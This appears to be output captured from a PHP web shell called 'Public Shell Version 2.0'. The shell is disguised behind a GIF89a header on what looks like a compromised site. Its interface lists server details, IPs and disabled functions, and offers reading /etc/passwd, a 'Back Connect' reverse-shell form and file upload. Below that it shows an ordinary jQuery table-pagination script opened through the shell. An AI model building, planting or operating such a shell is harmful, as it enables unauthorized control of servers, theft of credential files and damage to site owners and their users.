GIF89a

Public Shell


Uname : Linux hlpi1ws-c319s07.ad.aruba.it 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
PHP Version : 5.3.29
Server Admin : postmaster@www.giancio.com
Server IP : 192.168.3.109 Your IP : 18.117.244.233
Safe Mode : Safe Mode is OFF
Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
IP : PORt :
'; Public Shell Version 2.0
Disable Functions: system,popen,dl,passthru,proc_open,shell_exec
Current Path : /web/htdocs/www.giancio.com/home/admin/assets/js/
File Upload :
Current File : /web/htdocs/www.giancio.com/home/admin/assets/js/pagination.js

$(document).ready(function() {
$(".wrapper-paging").show();
TABLE.paginate('#tab', 10);
});
var TABLE = {};
TABLE.paginate = function(table, pageLength) {
	
	
	
// 1. Set up paging information 
var $table = $(table);
var $rows = $table.find('tbody > tr');
var numPages = Math.ceil($rows.length / pageLength) - 1;
var current = 0;



// 2. Set up the navigation controls
var $nav = $table.parents('.table-wrapper').find('.wrapper-paging ul');
var $back = $nav.find('li:first-child a');
var $next = $nav.find('li:last-child a');
$nav.find('a.paging-this strong').text(current + 1);
$nav.find('a.paging-this span').text(numPages + 1);
$back
.addClass('paging-disabled')
.click(function() {
pagination('<');
});
$next.click(function() {
pagination('>');
});
// 3. Show initial rows
$rows
.hide()
.slice(0,pageLength)
.show();
pagination = function (direction){
reveal = function (current){
$back.removeClass('paging-disabled');
$next.removeClass('paging-disabled');
$rows
.hide()
.slice(current * pageLength, current * pageLength + pageLength)
.show();
$nav.find('a.paging-this strong').text(current + 1);
};


//if (current == 1) { 
//$(".wrapper-paging").hide();
//}


// 4. Move previous and next
if (direction == "<") 
	{ // previous
		if (current > 1) {
			reveal(current -= 1);
		}
		else if (current == 1) {
			reveal (current -= 1);
			$back.addClass("paging-disabled");
		}
	} 
else 
	{
		if (current < numPages - 1) {
			reveal(current += 1);
		}
		else if (current == numPages - 1) {
			reveal(current += 1);
			$next.addClass("paging-disabled");
		}
	}
	
}
}

Public Shell Version 2.0